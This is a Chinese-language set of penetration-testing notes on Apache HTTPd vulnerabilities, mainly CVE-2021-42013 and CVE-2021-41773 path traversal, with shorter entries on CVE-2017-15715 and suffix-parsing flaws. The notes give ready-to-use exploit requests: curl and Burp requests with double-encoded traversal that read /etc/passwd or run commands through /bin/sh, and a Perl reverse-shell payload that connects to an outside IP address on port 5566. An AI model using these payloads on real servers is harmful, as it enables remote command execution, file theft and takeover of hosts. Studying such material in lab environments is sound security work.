cve_2021_42013 RCE
漏洞描述:
Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新,披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善,攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。CVE-2021-41773漏洞在v2.4.50版本中进行了修复。但修复版本中只处理了/xx/.%2e/
这样的路径,而没有正确处理/.%%32%65/
这种字符串,导致/.%%32%65/
被带入后续的处理,仍然可造成目录穿越。攻击者可构造恶意请求绕过补丁,利用穿越漏洞读取到Web目录之外的其他文件。
同时若Apache HTTPd开启了cgi支持,攻击者可构造恶意请求执行命令,控制服务器。
Apache 教程:使用 CGI 生成动态内容 – Apache HTTP Server 版本 2.4 – Apache HTTP 服务器
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'
解码后:
curl --data "echo;id" 'http://xx.xx.xx.xx/cgi-bin/../../../../bin/sh'


--data "echo;id"
:通过 POST 方法向目标发送数据,内容是 echo;id
。这是典型的命令注入尝试 ——echo
是测试命令,;id
试图在服务器端执行 id
命令(查看当前进程的用户身份)
echo;id
是一条由两个命令组成的 Shell 命令,通过分号 ;
分隔,作用是依次执行两个独立的操作:
echo
:默认输出一个空行(若不带参数,echo
命令会输出一个换行符)。id
:显示当前用户的身份信息,包括用户 ID(UID)、组 ID(GID)以及所属的所有组。- 例如,普通用户执行可能返回:
- uid=1000(username) gid=1000(username) groups=1000(username),4(adm),20(dialout)…
- root 用户执行则返回: uid=0(root) gid=0(root) groups=0(root)
本质是尝试进行命令注入:通过分号分隔符,让服务器在执行 echo
后,额外执行 id
命令,从而泄露服务器运行进程的用户身份(判断是否为高权限用户,如 root)。这是网络攻击中常见的测试手段,用于探测目标是否存在命令执行漏洞。

使用bp也行


反弹shell
POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh
echo;perl -e 'use Socket;$i="47.94.236.117";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'



cve_2021_41773 目录穿越
版本等于2.4.49、2.4.50 穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>
。(默认情况下是不允许的) 攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。
curl -v --path-as-is 'http://xx.xx.xx.xx/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd'
-v
:启用 verbose 模式,显示详细的请求和响应过程(便于观察攻击是否成功)。--path-as-is
参数会强制curl
不修改原始 URL 路径,完全按照输入的格式发送请求,包括保留所有编码字符和特殊路径结构(如../
或其编码形式%2e%2e/
)


burp
GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd
cve-2017-15715 换行解析漏洞(条件比较苛刻)
Apache HTTPD是一款HTTP服务器。其2.4.0~2.4.29版本存在一个解析漏洞,在解析PHP时,1.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略。 https://vulhub.org/#/environments/httpd/CVE-2017-15715/
x0A
是换行符
条件:
- 符合漏洞版本2.4.0~2.4.29
- 有文件上传点
- 能够重命名上传文件
- 缺一不可





未知扩展名解析漏洞-不识别即向前解析(很少能遇见了)
apache会从右往左解析文件后缀名,直到遇到能解析的后缀,出于兼容性考虑
低版本2.4.23以下版本都可以


Apache HTTPD 多后缀解析漏洞(配置问题,比较少见)

https://vulhub.org/#/environments/httpd/apache_parsing_vulnerability
如果运维人员给 .php 后缀增加了处理器
配置:AddHandler application/x-httpd-php .php
